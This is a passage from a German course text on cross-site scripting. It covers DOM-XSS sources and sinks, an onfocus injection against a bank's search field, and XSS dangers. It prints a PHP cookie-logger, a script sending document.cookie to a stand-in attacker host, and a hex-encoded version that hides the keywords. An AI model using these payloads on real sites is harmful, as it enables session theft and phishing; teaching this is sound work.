DOM-basierte Cross-Site-Scripting ähneln den Ursachen der Stored- und ReflectedXSS, haben jedoch einen grundlegenden Unterschied zu beiden. Bei der Storedund Reflected-XSS befindet sich der Fehler im serverseitig laufenden Code. In
den meisten Fällen sind dies PHP-Applikationen, denen serverseitig Validierungsund Filterungsmaßnahmen fehlen. Im Gegensatz dazu befindet sich die Ursache
für die DOM-XSS Schwachstelle im klientseitig laufenden Code. Meist handelt es
sich hierbei um Interkationen zwischen dem Benutzer und der Seite, die direkte
Eingaben des Nutzers benötigen oder als Quelle weitere Elemente, wie die URL
oder den Referrer, verwenden. Da der Fehler beim klientseitigen Code liegt und
zusätzlich keine weiteren Requests an den Server geschickt werden müssen, spricht
man hier auch von local XSS.
Die DOM-basierte XSS-Schwachstelle lässt sich in zwei Unterkategorien aufteilen, Stored- und Reflected DOM-XSS. Diese Form der Unterscheidung der
DOM-basierten XSS resultiert daraus, ob die Eingabe des Nutzers zunächst (semi)persistent abgespeichert wurde oder die Eingabe aus einer reflektiven Quelle, wie
der Addressleiste stammt.
Zu der Reflected DOM-XSS gehören Szenarien, bei denen ein klientseitig laufendes
Skript auf Parameter innerhalb der URL zugreift und für die Ausgabe beziehungsweise für Funktionen auf unsichere Weise verwendet, wodurch das Ausführen von
JavaScript-Code oder das Nachladen von externen Skripten ermöglicht wird. Des
weiteren kann man Szenarien zu dieser Kategorie zählen, bei der die Quelle eine
Eingabe eines Nutzers über die JavaScript-Funktion prompt() ist oder der Referrer
der Anfrage verwendet wird. Bei dieser Variante von XSS muss im Gegensatz zu
den normalen Reflected XSS kein erneuter Request an der Server gesendet werden.
Ein Link-Element kann unter anderem einen href und ein name-Attribut haben.
Das href Attribut ist da, um auf eine URL oder auf ein anderes Link-Element
innerhalb der Seite zu verlinken. Das Verlinken innerhalb einer Seite geschieht
duch die Nutzung des name-Attributs. Wenn eine URL am Ende eine Raute mit
einem String hat, zum Beispiel, /index.php#einleitung, dann springt der Browser auf
die Stelle in der Seite, an der ein Link-Element mit dem name-Attribut einleitung
ist. Diese Referenzierung, innerhalb einer Seite, benötigt keinen erneuten Request
des Browsers an den Server und lässt sich bei einer Reflected DOM-XSS leicht
ausnutzen. Dadurch ist es serverseitigen Sicherheitsmaßnahmen, wie zum Beispiel
Intrusion Detection Systems oder Web Application Firewalls nicht möglich, diesen
Angriff zu erkennen.
Genau wie bei der normalen Variante von XSS-Schwachstellen gibt es auch bei der
DOM-XSS Schwachstelle eine persistente Art von DOM-XSS. Persistent heißt hier,
Seite 19
Seite 20
Studienbrief 2 Cross-Site Scripting
Stored DOM-XSS
Reflected DOM-XSS
localStorage, sessionStorage
location.href, document.referrer, Input durch prompt()
Abb. 2.5: DOM-XSS
Kategorien und
Beispielquellen
dass Daten zunächst in einer Art Speicher abgelegt werden um im folgenden für eine Ausgabe wieder verwendet zu werden. Zu diesen Speichern gehören die Cookies,
der Web Storage und die IndexedDB. Die Cookies sind der älteste von diesen dreien
und bieten die Möglichkeit der Speicherung von Werten. Größtenteils befinden
sich hier Authentifizierungsdaten eines Nutzers und seiner Session. Im Jahre 2013
veröffentlichte das W3C einen Vorschlag für die Spezifikation der Web Storage
API ?. Der Web Storage bietet den Entwicklern die Möglichkeit strukturiert Daten
im Browser des Nutzers zu speichern. Manche Seiten benutzen diesen Storage um
sogenannte SuperCookies abzulegen, welche nicht bei jedem Request mitgesendet
werden müssen, wie es bei normalen Cookies der Fall ist. Wenn Informationen eines Nutzers in diesen Speicher abgelegt und später in einer Ausgabe oder Funktion
wieder verwendet werden, so kann dies zu einer Stored DOM-XSS-Schwachstelle
führen.
Zum Beispiel kann eine clientseitige Skriptsprache wie JavaScript einen Argumentwert aus der URL lesen ?:
http://example.com/test.html?arg=Argumentwert
Dieser Argumentwert wird dann ungeprüft in das HTML-Dokument eingefügt.
Das Ergebnis kann wie folgt aussehen:
Sie haben an die URL diesen String angehängt: Argumentwert
Als Argumentwert kann man natürlich auch einen JavaScript-Code verwenden.
Die URL würde dann wie folgt aussehen.
http://example.com/foobar.html?arg=
<script type="text/javascript">alert("Verwundbar!");
</script>
2.3 Kritische Quellen und Senken
Die Problematik der DOM-XSS lässt sich erst lösen, wenn bekannt ist, in welchem
Kontext Schwachstellen entstehen können. Dazu muss ein Programmierer zunächst
verstehen, welche Quellen und Senken in JavaScript existieren und wie weit diese
eine Validierung oder Filterung benötigen bevor sie eingelesen oder ausgegeben
werden. Wie bei echten Flüssen, gibt es auch bei Datenflüssen Quellen und Senken.
Quellen sind Stellen, an denen eine Anwendung eine Eingabe eines Nutzers übernimmt. Die Eingabe kann von einem Angreifer direkt oder indirekt kontrolliert
werden. Senken sind hingegen Stellen, an denen diese Eingaben ausgegben werden
und in einer schädlichen Art verwendet werden können.
Quellen
In JavaScript befinden sich mehrere Objekte, die als Informationsquellen verwendet
werden können. Im Folgenden werden einige dieser Quellen aufgelistet.
Adressleiste
Um zunächst eine Seite anzusteuern benutzt ein Nutzer die Addressleiste seines
Browsers. Die Adressleiste beinhaltet die Adresse selber, GET-Parameter und An-
2.3 Kritische Quellen und Senken
kerverweise durch die Nutzung des Rautesymbols. JavaScript bietet uns einige
Objekte um auf diese Adresse als String zuzugreifen und diesen für weitere Operationen zu verwenden. Die Adressleiste lässt sich durch einen Nutzer und einen
Angreifer auf einfache Weise manipulieren. Zusätzlich lässt sich eine manipulierte
Adresse auch leicht an andere Nutzer schicken um diese anzugreifen.
Um die Funktion und Ausgabe dieser Objekte zu verdeutlichen, erstellen wir ein
kleine Skript, welches jeweils diese Objekte in einer Seite ausgibt. Danach rufen
wir die Seite mit dem Skript unter folgender URL auf: http://site.local/
index.php?page=home#intro. In Tabelle ?? sehen wir, was die Objekte unter
dieser URL ausgegeben haben. Diese Tests wurden jeweils unter Firefox in der
Version 30.0 und Chromium in der Version 35 durchgeführt.
Angriffe, die Location-Quellen verwenden, lassen sich nicht leicht umsetzen. HTMLMetazeichen innerhalb der URL, wie zum Beispiel <und >, werden nur URL
enkodiert ausgegeben. Jedoch gibt es auch hier Ausnahmen, bei denen, trotz dieser
Filterung, Angriffe möglich sind. Hierauf gehen wir im Kapitel Beispiele ein.
Quelltext 2.1: Ausgabe von Location Objekten
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
document . w r i t e ( " document . l o c a t i o n : ␣ " ) ;
document . w r i t e l n ( document . l o c a t i o n ) ;
document . w r i t e ( " <br >␣document . l o c a t i o n . hash : ␣ " ) ;
document . w r i t e l n ( document . l o c a t i o n . hash ) ;
document . w r i t e ( " <br >␣document . l o c a t i o n . h r e f : ␣ " ) ;
document . w r i t e l n ( document . l o c a t i o n . h r e f ) ;
document . w r i t e ( " <br >␣document . l o c a t i o n . s e a r c h : ␣ " ) ;
document . w r i t e l n ( document . l o c a t i o n . s e a r c h ) ;
document . w r i t e ( " <br >␣document . l o c a t i o n . pathname : ␣ " ) ;
document . w r i t e l n ( document . l o c a t i o n . pathname ) ;
document . w r i t e ( " <br >␣document . URL : ␣ " ) ;
document . w r i t e l n ( document . URL) ;
document . w r i t e ( " <br >␣document . documentURI : ␣ " ) ;
document . w r i t e l n ( document . documentURI ) ;
document . w r i t e ( " <br >␣document . baseURI : ␣ " ) ;
document . w r i t e l n ( document . baseURI ) ;
</ s c r i p t >
Cookie
Ein Cookie wird meist dazu benutzt, um Authentifizierungsdaten eines Nutzers
oder einer Session zu speichern, damit sich ein Nutzer nicht bei einem erneuten
Besuch einer Seite anmelden muss. In diesem Speicher können beliebige Daten in
Form von Strings gespeichert werden. Der Zugriff auf diesen Cookie erfolgt über
das Objekt document.cookie.
Referrer
Der Referrer beinhaltet die URL, über welche die aktuelle Seite aufgerufen wurde.
Dieser String befindet sich zwar im HTTP-Header aber per JavaScript, über das
Objekt document.referrer, darauf zugegeriffen werden.
Web Storage
Der WebStorage ist eine API, die es erlaubt Informationen strukturiert innerhalb
des Browsers eines Nutzers zu speichern. Dabei unterscheiden wir zwischen dem
sessionStorage, der sessionbasiert diese Information speichert und dem localStorage, der Informationen dauerhaft speichert. Diese Werte können jedoch von einem
Nutzer manipuliert und durch eigene Werte ersetzt werden. Dadurch kann es zu
unerwartetem Verhalten innerhalb der JavaScript-Anwendung kommen und je
Seite 21
Seite 22
Studienbrief 2 Cross-Site Scripting
Objekt
(document.)location
(document.)location.hash
(document.)location.href
(document.)location.search
(document.)location.pathname
document.URL
document.documentURI
document.baseURI
Tabelle 2.1:
Ausgabe
Adressquellen
http://site.local/index.php?page=home#intro
#intro
http://site.local/index.php?page=home#intro
?page=home
/index.php
http://site.local/index.php?page=home#intro
http://site.local/index.php?page=home#intro
http://site.local/index.php?page=home#intro
nach Ausgabe ermöglicht werden eine sogenannte Stored DOM-XSS Schwachstelle
auszunutzen. Um Werte in den sessionStorage oder localStorage zu speichern beziehungsweise zu lesen, stellen die beiden Objekte zwei Funktionen zu Verfügung.
Mit setItem(Titel, Eingabe) wird unter dem Keyword Titel der String Eingabe gespeichert. Um nun diese Werte wieder aus einem der beiden Speicher auszulesen,
benutzen wir die Funktion getItem("Titel").
IndexedDB
Es gibt noch eine weitere Möglichkeit für die clientseitige Speicherung von strukturierten Daten. Hierzu wird die IndexedDB API verwendet, welche im Gegensatz
zur Web Storage API, auch für größere Mengen von Daten gedacht ist und Daten
innerhalb von Datenbanken abspeichert. Der Zugriff auf diese Daten innerhalb
der Datenbank erfolgt mit get(index) und kann durch die Verwendung in einer
Senke zu einer DOM-XSS führen.
Senken
In diesem Abschnitt möchten wir uns auf die möglichen Senken in JavaScript
konzentrieren, durch welche wir es schaffen eigenen Code auszuführen.
JavaScript Execution
eval()
Die Methode eval() in JavaScript, erlaubt es uns ein Argument als String zu übergeben, welches dann direkt ausgeführt wird. Wenn eine Nutzereingabe konkatiniert
oder direkt als Argument verwendet wird, so kann dieser Nutzer mit dieser Eingabe auch eigenen Code ausführen.
e v a l ( " J a v a S c r i p t C o d e " +NutzerEingabe )
function()
Eine Funktionsdeklarierung kann auch als Angriffvektor verwendet werden, falls
es eine Nutzereingabe mit einbindet. Diese Funktion muss jedoch auch von einer
anderen Instanz innerhalb des existierenden Codes ausgeführt werden. Das letzte
Argument ist jeweils der Teil, der vom Interpreter als Code evaluiert wird.
f u n c t i o n ( " J a v a S c r i p t C o d e " +NutzerEingabe ) ;
Bei mehreren Argumenten:
f u n c t i o n ( " Arg1 " , " Arg2 " , J a v a S c r i p t C o d e " +NutzerEingabe ) ;
2.3 Kritische Quellen und Senken
setTimeout() und setInterval()
Die Methode setTimeout() führt eine Funktion oder einen Code nach einer bestimmten Zeit (in ms) aus, der als zweites Argument als Integer übergeben wird.
Diese Methode führt die Funktion, nur einmal. Will man eine Funktion wiederholt
aufrufen, so kann man die Methode setInterval() nutzen.
setTimeout ( " J a v a S c r i p t C o d e " +NutzerEingabe , ZEIT ) ;
s e t I n t e r v a l ( " J a v a S c r i p t C o d e " +NutzerEingabe , ZEIT ) ;
ScriptElement.src und ScriptElement.textContent
Script-Elemente sind da, um JavaScript-Code in eine HTML-Seite einzubinden.
Die Einbindung kann in zwei Varianten erfolgen. Entweder man verändert den
Inhalt dieses Script-Blocks mit Hilfe von textContent oder man verändert das srcAttribut dieses Elements. Wenn eine Nutzereingabe mit in die Veränderung des
src-Attributs einfließt, so darf dieses Attribut keinen Prefix zu der Eingabe des
Nutzers haben, da es sonst nicht möglich ist auf ein externes Skript zu verweisen.
S c r i p t E l e m e n t . s r c = NutzerEingabe ;
Bei textContent ist dies jedoch egal, da wir
S c r i p t E l e m e n t . t e x t C o n t e n t = " J a v a S c r i p t C o d e " +NutzerEingabe ;
JavaScript Event-Handler
Event-Handler in HTML erlauben es JavaScript-Code bei bestimmten Ereignissen
auszuführen. Es gibt eine bestimmte Anzahl von verschiedenen Event-Handlern,
die man je nach HTML-Element verwenden kann. Die Deklarierung der erfolgen
als Attribut des Elements. Diese Attribute lassen sich auch direkt über JavaScript
verändern. Wenn wir dort Nutzereingaben zulassen, so kann auch diese vom
Interpreter evaluiert werden.
B e l i e b i g e s E l e m e n t . o n c l i c k = " J a v a S c r i p t C o d e " +NutzerEingabe ;
B e l i e b i g e s E l e m e n t . o n e r r o r = " J a v a S c r i p t C o d e " +NutzerEingabe ;
B e l i e b i g e s E l e m e n t . onmouseover = " J a v a S c r i p t C o d e " +NutzerEingabe ;
HTML Manipulation
JavaScript bietet die Möglichkeit Objekte innerhalb des DOM zu manipulieren,
wodurch wir direkt Inhalte und Attribute von Elementen lesen und verändern
können. Im Folgenden sind einige Attribute aufgelistet, durch deren Änderung
wir direkt die Inhalte einer Seite verändern können.
.innerHTML() und .outerHTML()
Die beiden Attribute innerHTML und outerHTML ähneln sich von ihrer Funktionalität, haben aber einen grundlegenden Unterschied. Mit dem Attribut innerHTML
eines Elements können wir den Inhalt innerhalb dieses HTML-Elementes verändern. Im Gegensatz dazu führt die Manipulation des Attribut outerHTML dazu,
dass das komplette Element inklusive Inhalt ersetzt wird.
HTMLElement . innerHTML = "HTML␣ S t r i n g " +NutzerEingabe ;
HTMLElement . outerHTML = " <p>HTML␣ S t r i n g " +NutzerEingabe+ " </p> " ;
Seite 23
Seite 24
Studienbrief 2 Cross-Site Scripting
document.write() und document.writeln()
Die Methoden document.write() und document.writeln() erlauben es uns frei in
einem HTML-Dokument eine Ausgabe vorzunehmen. Der Unterschied zwischen
beiden liegt nur darin, dass document.writeln() einen Absatz (\n) nach der Ausgabe hinzufügt.
document . w r i t e = "HTML␣ S t r i n g " +NutzerEingabe ;
document . w r i t e l n = "HTML␣ S t r i n g " +NutzerEingabe ;
Range.createContextualFragment()
Die Methode Range.createContextualFragment() ermöglicht, in Verbindung mit appendChild(), das hinzufügen weiteren Inhalts auf eine Seite.
range . c r e a t e C o n t e x t u a l F r a g m e n t ( "HTML␣ S t r i n g " + NutzerEingabe ) ;
2.4 Beispiel: Reflected XSS
Anhand dieses Beispiels soll nochmal Cross-Site-Scripting in der Praxis verdeutlicht werden ?. Weiterhin zeigt dieses Beispiel, dass sogar wichtige und
vermeintlich sichere Websites gegen Cross-Site-Scripting anfällig sein können.
Denn oft wird fälschlicherweise angenommen, dass eine SSL/TLS-Verbindung
genügend zur Sicherheit beiträgt. Dieses Beispiel überzeugt vom Gegenteil. Die
wichtigste Voraussetzung für Cross-Site-Scripting Angriffe ist natürlich, dass auf
der anzugreifende Seite Möglichkeiten zu Benutzereingaben existieren.
In diesem Fall ist es eine Suchfunktion. Daraus kann man schließen, dass dieser
Cross-Site-Scripting Angriff reflektierend bzw. nicht-persistent ist. Denn bei einer
Suchfunktion, wird meistens der vom Benutzer eingegebene Suchbegriff bei der
Ausgabe der Ergebnisse mit ausgeliefert. Da diese Ausgabe nur einmalig bei
der Auflistung der Suchergebnisse stattfindet, existiert diese Ausgabe auch nur
temporär auf dem Server.
Als nächstes überprüft man das Eingabefeld auf die Verwundbarkeit von CrossSite-Scripting Angriffe. Wie in den vorherigen Kapiteln bereits erklärt, muss man
hier feststellen, ob die Benutzereingabe ungeprüft angenommen wird und ob
diese ungefiltert bzw. unkodiert ausgegeben wird.
Im leichtesten Fall kann man dies mit einer einfachen HTML-Befehlszeile überprüfen. Damit will man herausfinden, ob man die Website mittels eingeschleusten
HTML-Befehlen, welche möglichst ungefiltert ausgegeben werden müssen, manipulieren kann oder nicht. Noch fataler wird es, wenn auch die Injektion von
JavaScript möglich ist, denn dann ist die letzte Voraussetzung für Cross-SiteScripting erfüllt.
In diesem Beispiel hier wird folgendes als Eingabe für das Suchfeld verwendet:
"><h1>heisec was here</h1>
Jetzt stellt sich nun die Frage, warum genau diese Zeichenkette verwendet
wurde. Dies hat mit dem Eingabefeld zu tun.
Eine Texteingabe kann man in HTML wie folgt realisieren ?:
<input type="text" name="feld1" value="" ... >
(type - Art des Eingabefelds; name - identifiziert das Feld in der Anwendung;
value - Angezeigter Wert)
2.4 Beispiel: Reflected XSS
Seite 25
(In einigen HTML-Versionen muss das <input>-Tag noch von einem <form>-Tag
eingeschlossen werden)
Mit dem Attribut value kann man also das Texteingabefeld mit einem Wert
belegen.
Meistens ist dieses Attribut aber leer, also value="" . Dies liegt daran, dass ein
vorbelegter Wert in den meisten Anwendungen wenig Sinn macht. Die einzige
Ausnahme, bei der es Sinn macht ist: Das Eingabefeld mit der zuletzt getätigten
Eingabe vorzubelegen (um so womöglich Tippfehler für eine erneute Anfrage zu
korrigieren).
In dem aktuellen Beispiel handelt es sich um eine Suchfunktion. Man kann
hierbei davon ausgehen, dass die Eingabe als vorbelegter Wert für das Eingabefeld
bei der neu-generierten Antwortseite mit den Suchergebnissen verwendet wird.
Jetzt kommen wir auf die Frage zurück warum speziell diese Zeichenkette
"><h1>heisec was here</h1> als Eingabe verwendet wurde.
Wenn man genau hinsieht, kann man folgendes noch erkennen: "> Diese kurze
Zeichenkette kommt dann in einem HTML-Dokument vor, wenn ein HTML-Tag
und ein dazugehöriges (als letztes) Attribut zu Ende definiert wird bzw. terminiert
?.
Wenn man jetzt die ganze Zeichenkette als Eingabe verwendet, dann sollte
man in der Antwortseite mit den Suchergebnissen das Texteingabefeld mit dem
Suchbegriff als vorbelegte Eingabe sehen. Dies trifft allerdings hier nicht zu, denn
in HTML würde die Zeile mit dem Eingabefeld in der Antwortseite wie folgt
aussehen:
<input type="text" name="irgendeinName" value="“>
<h1>heisec was here</h1>” size="17" maxlength="64"
onblur="if(this.value.length==0)this.value=’Stadt oder
PLZ’;" onfocus="this.value=” " >
Die kurze Zeichenkette "> bewirkt, dass der <input>-Tag vorzeitig terminiert wird. Das heißt, alles was danach folgt wird als Text von dem Browser
interpretiert und ausgegeben. Der unterstrichene Teil markiert das manipulierte
Eingabefeld (mit weit aus wenigeren Attributen). Der rote Teil markiert die
gefährliche Eingabe, der restliche Teil der Zeile, welcher größtenteils aus den
Attributen des ursprünglichen Eingabefelds besteht, wird als Text interpretiert.
Denn alles was nicht passend in spitzen Klammern eingeschlossen < > ist, wird
als Text interpretiert.
In diesem Fall wird noch das <h1>-Tag von der Webapplikation herausgefiltert. Es hat folglich den Anschein, dass hier einige Eingaben gezielt blockiert
werden.
Als Ausgabe erhält man nun letztendlich folgendes:
Abb. 2.6: XSS Ausgabe
(Schmidt, 2007)
Seite 26
Studienbrief 2 Cross-Site Scripting
Das war bis jetzt noch relativ harmlos.
Bei weiteren Überprüfungen stellt man allerdings fest, dass auch das
<script>-Tag blockiert wird. Die naive Variante des Cross-Site-Scripting mit dem
<script>-Tag ist also nicht möglich.
Jedoch hat der Webentwickler nicht ausreichend bedacht, dass es auch andere
Methoden der Einbindung von JavaScript existieren.
Die Lösung steht sogar schon in dem HTML-Code des Eingabefelds.
Wenn man erneut diesen HTML-Code betrachtet,erkennt man, dass das Eingabefeld sich spezielle Attribute zu Nutze macht. Es verwendet Event-Handler,
die bei einem bestimmten Ereignis ein Skript ausführt. Man kann folglich die
Skriptinjektion mittels eines Event-Handlers durchführen.
Folgende Attribute bzw. Event-Handler wären hierfür geeignet ? ?:
onblur (beim Verlassen)
onchange (bei erfolgter Änderung)
onclick (beim Anklicken)
ondblclick (bei doppeltem Anklicken)
onfocus (beim Aktivieren)
onmousedown (bei gedrückter Maustaste)
onmousemove (bei weiterbewegter Maus)
onmouseout (beim Verlassen des Elements mit der Maus)
onmouseover (beim Überfahren des Elements mit der Maus)
onmouseup (bei losgelassener Maustaste)
onreset (beim Zurücksetzen des Formulars)
onselect (beim Selektieren von Text)
In dem aktuellen Beispiel hat man sich für onfocus entschieden. Dieser EventHandler reagiert, sobald das Eingabefeld fokussiert bzw. aktiviert wird (z.B. mit
Mausklick oder Tabulator).
Der Angriffsvektor lautet wie folgt: " onfocus="alert(’XSS’);"
Besonders wichtig ist das erste Doppelapostroph. Damit wird die Wertzuweisung des Attributs value terminiert. Danach kann man beliebig viele Attribute
einschleusen. In diesem Fall ein Event-Handler, dass mit einem JavaScript-Code
reagiert.
Die HTML Zeile sieht nach der Injektion wie folgt aus:
<input type="text" name="irgendeinName" value=""
onfocus="alert(’XSS’); " " size="17" maxlength="64"
onblur="if(this.value.length==0)this.value=’Stadt
oder PLZ’;önfocus="this.value=” ">
(Dieser Angriffsvektor sollte genauso gut funktionieren:
" onfocus="alert(’XSS’); (ohne das letzte Doppelapostroph))
Nachdem die Eingabe mit dem Angriffsvektor abgeschickt wurde, generiert
der Server eine HTML-Seite als Antwort auf die Anfrage. Die Antwortseite meldet
0 Suchergebnisse und enthält nach wie vor das Eingabefeld für die Suchbegriffe.
Das Eingabefeld ist dieses Mal leer, da das Attribut value keinem Wert zugewiesen wurde. Sonst geschieht erst mal nichts. Sobald man aber nun das Eingabefeld
aktiviert bzw. fokussiert, taucht ein Warnfenster mit der Nachricht XSS auf. Dies
ist der Beweis, dass diese Suchfunktion gegen Cross-Site-Scripting verwundbar
ist und dass der verwendete Angriffsvektor geeignet ist. Demnach kann man
2.4 Beispiel: Reflected XSS
Seite 27
JavaScript im Kontext dieser Website (http://seb-bank.de) ausführen.
Abb. 2.7: XSS Ausgabe
(Schmidt, 2007)
Die besonders kritischen Applikationen laufen allerdings über HTTPS und unter
dem eigenen Domainnamen ssl.seb.de . Der Same Origin Policy nach ist es
jedoch nicht möglich mittels Skripte, die über die Cross-Site-Scripting Lücke in
der http://seb-bank.de Seite eingeschleust wurden, auf der relativ sicheren
https://ssl.seb.de Seite zu zugreifen. Denn es stimmen weder Protokoll
noch Domain überein.
Allerdings weist auch diese kryptografisch gesicherte Website dieselbe Cross-SiteScripting Lücke auf. Dies beweist, dass kritische Webapplikationen weit aus mehr
als nur kryptografische Sicherheitsdienste benötigen.
Der soeben vorgestellte Angriff scheint an dieser Stelle noch ziemlich unspektakulär, da mit dem injizierten Skript nur ein Warnfenster aufgerufen wurde. Dies
diente allerdings nur zum Demonstrationszweck.
Dies ist auch eines der Gründe, warum Cross-Site-Scripting immer noch von
vielen unterschätzt wird. Die Konsequenzen eines Cross-Site-Scripting Angriffs
können verheerend sein.
Da es allerdings bei diesem Beispiel um nicht-persistentes Cross-Site-Scripting
handelt, erfordert der gesamte Angriff auch Fähigkeiten zur zwischenmenschlicher
Beeinflußung.
Beim nicht-persistenten Cross-Site-Scripting wird der injizierte Schadcode nicht
auf dem Server gespeichert. D.h. also, dass das Opfer selbst im übertragenem Sinne
den Angriff ausführen muss. Der Angreifer präpariert die URL der verwundbaren
Website mit dem Schadcode, welches mittels der Cross-Site-Scripting Lücke im
Kontext der Website ausgeführt werden soll. Danach muss der Angreifer das
Opfer davon überzeugen diese URL im Browser aufzurufen. Sobald die URL im
Browser aufgerufen wird, wird das bösartige Skript ausgeführt.
Eines der beliebtesten Angriffe mit Cross-Site-Scripting ist der Diebstahl von
Session-Cookies.
Dieser Angriff erfordert kaum eine Interaktion seitens des Opfers. Dieser muss
lediglich die URL aufrufen, und das Skript für den Diebstahl von Session-Cookies
wird ausgeführt. Beim Phishing sieht es schon etwas anders aus. Da muss man
zusätzlich noch das Opfer dazu verleiten sich auf der Website, welche mit der
Seite 28
Studienbrief 2 Cross-Site Scripting
präparierten URL aufgerufen wurde, über ein manipuliertes Anmeldeformular einzuloggen. Zumindest haben Phishing-Angriffe auf Basis von Cross-Site-Scripting
eine höhere Erfolgschance als herkömmliche Phishing-Angriffe, welche über
gefälschte Websitekopien durchgeführt werden. Die Kombination mit Cross-SiteScripting scheint für das Opfer vertrauenswürdiger, da bei dieser Variante die
original Website dazu verwendet wird und somit auch die richtige Domain in der
URL angezeigt wird.
2.5 Gefahren von XSS
Website-Defacement
Bei dieser Angriffsvariante wird die Website über die Cross-Site-Scripting Lücke
eingeschleusten Schadcode verunstaltet. Dabei besteht für den Websitebetreiber die
Gefahr, dass der Ruf der Seite geschädigt wird oder dass sonstige Falschmeldungen
verbreitet werden. Die Verunstaltung kann auf vielen Wegen bewerkstelligt werden.
Die simpelste Methode ist mittels HTML-Injektion zusätzliche Elemente zu der
Website hinzuzufügen (z.B. Text, Bilder, Inlineframes, etc.).
Die andere Variante der Verunstaltung funktioniert über JavaScript mittels der
DOM-Schnittstelle.
Auf diesem Weg ist man nicht nur in der Lage der DOM-Hierarchie Elemente
hinzuzufügen, man ist sogar fähig solche zu verändern oder zu löschen.
Diebstahl von Session-Cookies
Der Diebstahl von Session-Cookies über Cross-Site-Scripting ist eines der beliebtesten Angriffe, da dieser auf der Seite des Opfers kaum Benutzerinteraktionen
erfordert. Das Opfer muss lediglich eine präparierte URL im Browser aufrufen.
Nun stellt sich die Frage, wie der Diebstahl von Sitzungscookies durch Cross-SiteScripting möglich ist. Dies ist einfach zu beantworten. Man kann ohne Umstände
mittels JavaScript über die DOM-API auf das aktuelle Cookie zugreifen. Mit dem
folgendem Code kann man den aktuellen Cookie in einem Fenster ausgeben lassen
?.
<script>alert(document.cookie);</script>
(Übrigens kann man das Attribut type auch weg lassen)
document.cookie beinhaltet also das zu stehlende Cookie. Man braucht
nun ein externes Skript, welches diesen Cookie auf einem externen Server (des
Angreifers) abspeichert oder es per E-Mail an den Angreifer sendet.
Solch ein externes Skript kann in PHP geschrieben werden. Dementsprechend
muss natürlich auch der Webserver des Angreifers PHP unterstützen, damit auch
dieses Skript ordnungsgemäß ausgeführt werden kann.
Solch ein PHP-Skript, dass übergebene bzw. gestohlene Cookies aufzeichnet sieht
im groben wie folgt aus ?:
1
2
3
4
5
6
7
8
9
10
11
<?php
/ / s t i e h l t c o o k i e von d e r a k t u e l l e n URL
/ / ( s t e a l e r . php ? c o o k i e =x )
/ / und l a g e r t e s i n e i n e r V a r i a b l e
$ c o o k i e = $_GET [ " c o o k i e " ] ;
/ / o e f f n e t c o o k i e f i l e . t x t im " a p p e n d mode " s o d a s s man
/ / das g e s t o h l e n e Cookie der Datei
/ / h i n z u f u e g e n kann
$ f i l e = fopen ( " c o o k i e f i l e . t x t " , " a " ) ;
2.5 Gefahren von XSS
12
13
14
15
16
17
/ / s p e i c h e r t das g e s t o h l e n e Cookie in der Datei
f w r i t e ( $ f i l e , $ c o o k i e . " \n " ) ;
/ / g e o e f f n e t e Datei wird g e s c h l o s s e n
fclose ( $ f i l e ) ;
?>
Der zur injizierende Code für Cross-Site-Scripting wäre folgender:
<script>document.location.href =’http://example.com/
cookielogger.php?cookie=’+document.cookie;</script>
Das + ist in JavaScript bei Strings ein Konkatenations-Operator.
Dieser injizierte Code ruft das externe PHP-Skript des Angreifers auf. Mittels des Konkatenations-Operator wird der aktuelle bzw. gestohlene Cookie an der
restlichen URL angehängt und wird somit als Parameter für das Skript übergeben.
(Parameterübergabe: /cookielogger.php?cookie= ...)
Dieses externe PHP-Skript speichert die Cookies in einer Textdatei ab. Der Angreifer braucht nur noch diese Textdatei abzurufen und kann dann die gestohlenen
Cookies dazu verwenden, die Sitzungen der Opfer der gegen Cross-Site-Scripting
verwundbaren Website zu übernehmen.
Somit kann sich der Angreifer als andere Benutzer auf der angegriffenen Website
authentifizieren.
Der Nachteil dieser Angriffsvariante ist allerdings, dass solche Sitzungscookies nur
begrenzt gültig sind. Die Cookies verlieren ihre Gültigkeit, sobald der Benutzer
seine Sitzung auf der angegriffenen Website beendet (z.B. durch Abmeldung) oder
wenn die Gültigkeitsdauer überschritten wird.
Phishing
Mit dieser Angriffsvariante kann man über ein gefälschtes Anmeldeformular die
Benutzerdaten des Opfers stehlen. Mit der Cross-Site-Scripting Lücke kann man
einen JavaScript Code injizieren, welcher ein gefälschtes Anmeldeformular der
Website hinzufügt. Man kann Phishing auch mit einem Inlineframe bewerkstelligen.
Zum Beispiel kann man mittels eines Inlineframes einen Ausschnitt einer PhishingSeite in der verwundbaren Website einschleusen.
Der Vorteil vom Phishing ist, dass die abgegriffenen Benutzerdaten solange gültig
sind, bis der Benutzer selbst diese manuell ändert. Der Nachteil ist allerdings, dass
man das Opfer erst mal mittels Social Engineering dazu bewegen muss, sich auf
der gefälschten Anmeldeseite einzuloggen (welche zusätzlich über eine präparierte
URL aufgerufen werden muss).
Präparierung der URL
Da präparierte URL’s sehr verdächtig aussehen können, aufgrund von Schlüsselwörtern wie document.cookie und script, werden die URL-Parameter häufig
hex-kodiert ?.
Jedes ASCII Zeichen steht für einen hexadezimalen Wert.
Eine präparierte URL sollte schon allein aus technischen Gründen kodiert
werden.
Diese präparierte URL:
Seite 29
Seite 30
Studienbrief 2 Cross-Site Scripting
http://vulnerablesite.com/suche.php?suchbegriff=
<script>document.location.href =’http://attackerserver.com/
cookielogger.php?cookie=’+document.cookie;</script>
sieht nach einer minimalen URL-Kodierung wie folgt aus:
http://vulnerablesite.com/suche.php?suchbegriff=%3C
script%3Edocument.location.href+%3D%27http%3A%2F%2F
attackerserver.com%2Fcookielogger.php%3Fcookie%3D%27
%2Bdocument.cookie%3B%3C%2Fscript%3E
Natürlich kann man nun auch die restlichen ASCII-Zeichen kodieren, sodass keine
Schlüsselwörter mehr zu sehen sind:
http://vulnerablesite.com/suche.php?suchbegriff=%3C%73%
63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%
61%74%69%6F%6E%2E%68%72%65%66%20%3D%27%68%74%74%70%3A%
2F%2F%61%74%74%61%63%6B%65%72%73%65%72%76%65%72%2E%63%
6F%6D%2F%63%6F%6F%6B%69%65%6C%6F%67%67%65%72%2E%70%68%
70%3F%63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%
74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E%00
Es gibt noch mehrere Wege solche zu injizierende Codes zu optimieren. (z.B.
JavaScript-Codes extern laden, anstatt den ganzen Code über die URL zu übertragen.).
2.6 Schutzmaßnahmen
Bei den Schutzmaßnahmen ist es wichtig zwischen client- und serverseitigen
